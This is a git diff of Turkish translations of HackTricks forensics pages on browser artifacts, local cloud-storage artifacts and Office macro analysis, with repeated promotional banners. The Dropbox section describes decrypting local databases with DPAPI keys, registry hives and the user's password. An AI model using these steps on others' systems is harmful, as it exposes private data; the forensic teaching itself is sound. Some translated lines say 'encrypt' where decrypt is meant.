konteynerleri ayırt edebilir ve Skype gibi diğer Microsoft araçları için önbellek detaylarını görebilirsiniz. ### Önbellek İnceleme -[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesi yapmak için önbellek veri çıkarma klasörü konumunu gerektirir. Önbellek için meta veriler dosya adını, dizini, erişim sayısını, URL kökenini ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. +[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesi yapmak için önbellek veri çıkarma klasörü konumunu gerektirir. Önbellek için meta veriler dosya adını, dizini, erişim sayısını, URL kaynağını ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. ### Çerez Yönetimi -Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, meta veriler isimleri, URL'leri, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır. +Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir; meta veriler arasında isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detaylar bulunur. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır. ### İndirme Detayları -İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir, belirli konteynerlar URL, dosya türü ve indirme konumu gibi verileri saklar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. +İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir; belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri saklar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. -### Gezinti Geçmişi +### Tarama Geçmişi -Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Meta veriler burada değiştirme ve erişim zamanlarını, erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde bulunur. +Tarama geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) kullanılabilir; çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Meta veriler burada değiştirme ve erişim zamanlarını, erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde bulunur. ### Yazılan URL'ler @@ -149,47 +149,47 @@ Yazılan URL'ler ve kullanım zamanları, kullanıcı tarafından girilen son 50 Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Farklı veri türleri için yollar şunlardır: -- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Son Aktif Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` +* **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` +* **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +* **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` +* **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` +* **Son Etkin Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` ## Safari Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar şunları içerir: -- **History.db**: URL'leri ve ziyaret zaman damgalarını içeren `history_visits` ve `history_items` tablolarını içerir. Sorgulamak için `sqlite3` kullanın. -- **Downloads.plist**: İndirilen dosyalar hakkında bilgi. -- **Bookmarks.plist**: Yer imlerini saklar. -- **TopSites.plist**: En sık ziyaret edilen siteler. -- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın. -- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın. -- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın. -- **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir. +* **History.db**: URL'leri ve ziyaret zaman damgalarını içeren `history_visits` ve `history_items` tablolarını içerir. Sorgulamak için `sqlite3` kullanın. +* **Downloads.plist**: İndirilen dosyalar hakkında bilgi. +* **Bookmarks.plist**: Yer imlerini saklar. +* **TopSites.plist**: En sık ziyaret edilen siteler. +* **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın. +* **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın. +* **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın. +* **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` komutunu kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir. ## Opera -Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve Chrome'un formatını geçmiş ve indirmeler için paylaşır. +Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve tarama geçmişi ve indirmeler için Chrome'un formatını paylaşır. -- **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled` ayarının `true` olarak ayarlandığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz. +* **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled` ayarının `true` olarak ayarlanıp ayarlanmadığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz. -Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan gezinme verilerine erişmek ve anlamak için önemlidir. +Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan tarama verilerine erişmek ve anlamak için önemlidir. ## Referanslar -- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) -- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) -- **Kitap: OS X Incident Response: Scripting and Analysis By Jaron Bradley sayfa 123** +* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) +* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) +* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) +* **Kitap: OS X Incident Response: Scripting and Analysis By Jaron Bradley sayfa 123**
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve çalıştırın.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
@@ -199,5 +199,5 @@ HackTricks'i desteklemenin diğer yolları: * **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index ffd3f651f..4365e1f29 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -6,25 +6,25 @@ HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] (https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**] (https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! +* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**]'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} ## OneDrive -Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür: +Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulabilirsiniz: * Bayt cinsinden boyut * Oluşturma tarihi @@ -35,21 +35,21 @@ Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Micros * Rapor oluşturma zamanı * İşletim sisteminin HD boyutu -CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. OneDrive ile senkronize edilen dosyaların adlarını içerebilecek _**\.ini**_ ve _**\.dat**_ adlı dosyaları bulabilirsiniz. +CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. _**\.ini**_ ve _**\.dat**_ adında dosyalar bulabilir ve bu dosyaların OneDrive ile senkronize edilen dosyaların adlarını içerebileceği ilginç bilgiler içerebilir. ## Google Drive Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\ -Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgiler içeren Sync\_log.log adlı bir dosyayı içerir. Silinmiş dosyalar bile, ilgili MD5 değeriyle birlikte o log dosyasında görünür. +Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgiler içeren Sync\_log.log adlı bir dosya içerir. Silinmiş dosyalar bile, ilgili MD5 değeriyle birlikte o log dosyasında görünür. -**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adını**, değiştirilme zamanını, boyutunu ve dosyaların MD5 karma değerini bulabilirsiniz. +**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adı**, değiştirilme zamanı, boyut ve dosyaların MD5 toplamı bulunabilir. -Veritabanının **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. +Veritabanı **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. ## Dropbox Dropbox dosyaları yönetmek için **SQLite veritabanlarını** kullanır. Bu\ -Veritabanlarını şu klasörlerde bulabilirsiniz: +Veritabanlarını aşağıdaki klasörlerde bulabilirsiniz: * `\Users\\AppData\Local\Dropbox` * `\Users\\AppData\Local\Dropbox\Instance1` @@ -75,16 +75,16 @@ Ancak, ana bilgiler şunlardır: Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala gerekenler: -* **Şifreli DPAPI anahtarı**: Bu anahtarı `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) +* **Şifreli DPAPI anahtarı**: Bu veriyi `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) * **`SYSTEM`** ve **`SECURITY`** hive'ları * **DPAPI anahtarları**: Bunlar `\Users\\AppData\Roaming\Microsoft\Protect` içinde bulunabilir * Windows kullanıcısının **kullanıcı adı** ve **şifresi** -Ardından [**DataProtectionDecryptor**] (https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** aracını kullanabilirsiniz:** +Ardından [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** aracını kullanabilirsiniz:** ![](<../../../.gitbook/assets/image (443).png>) -Her şey beklediğiniz gibi giderse, araç **kurtarmanız gereken birincil anahtarı** gösterecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntı içinde "parola" olarak birincil anahtarı koyun. +Her şey beklediğiniz gibi giderse, araç **kullanmanız gereken birincil anahtarı** belirtecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntılanan anahtarı "parola" olarak reçeteye yerleştirin. Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan nihai anahtardır ve şununla şifrelenmiş veritabanlar şifresi çözülebilir: ```bash @@ -98,7 +98,7 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con - **Host\_id**: Buluta kimlik doğrulamak için kullanılan hash. Bu sadece web üzerinden iptal edilebilir. - **Root\_ns**: Kullanıcı kimliği -**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal`'dir: +**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal` şudur: - **Server\_path**: Sunucu içinde dosyanın bulunduğu yol (bu yol, istemcinin `host_id`'si tarafından önce gelir). - **local\_sjid**: Dosyanın sürümü @@ -107,8 +107,8 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir: -- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'ı -- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir +- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'leri +- **block\_ref**: `block_cache` tablosundaki hash kimliğini `file_journal` tablosundaki dosya kimliği ile ilişkilendirir - **mount\_table**: Dropbox'un paylaşılan klasörleri - **deleted\_fields**: Silinen Dropbox dosyaları - **date\_added** @@ -116,21 +116,21 @@ Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir:
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)'i kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! - [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) - [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'da takip edin.** +- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin. - **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 564805faa..9c7c77d97 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,7 +2,7 @@
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: @@ -17,20 +17,20 @@ HackTricks'ı desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştirmeyi** kolayca sağlayın.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} -Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) kontrol edin. Bu sadece bir özet: +Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresine bakın. Bu sadece bir özet: -Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX). Bu formatlar makrolar içerebilir, bu nedenle balık avı ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerları olarak yapılandırılmıştır, bu da açılarak inceleme yapılmasına izin verir, dosya ve klasör hiyerarşisini ve XML dosya içeriğini ortaya çıkarır. +Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX) olarak adlandırılır. Bu formatlar, içerisinde makrolar barındırabilir ve bu nedenle phishing ve kötü amaçlı yazılımlar için hedef olabilir. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu da dosya ve klasör hiyerarşisini ve XML dosya içeriğini açığa çıkararak incelemeye olanak tanır. -OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısını gösteren komut verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda devam eden yenilikleri gösterir. +OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısını görmek için komutlar verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir ve CTF zorluklarında veri gizleme konusunda sürekli yenilikler olduğunu göstermektedir. -Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimat vektörleri olarak hizmet eden gömülü makroları tanımlamaya ve analiz etmeye yardımcı olur, genellikle ek kötü amaçlı yükleri indirip yürüten. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir. +Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimatı için vektör olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya olanak tanır. -**oletools**'un kurulumu ve kullanımı basittir, pip ile kurulum için komutlar sağlanmış ve belgelerden makroları çıkarmak için komutlar verilmiştir. Makroların otomatik yürütülmesi genellikle `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. +**oletools**'un kurulumu ve kullanımı basittir, pip aracılığıyla kurulum için komutlar sağlanmıştır ve belgelerden makroları çıkarmak için kullanılır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros @@ -38,21 +38,21 @@ olevba -c /path/to/document #Extract macros
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**. -* **Hacking püf noktalarınızı göndererek PR'larınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına** ekleyin. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek paylaşın.**
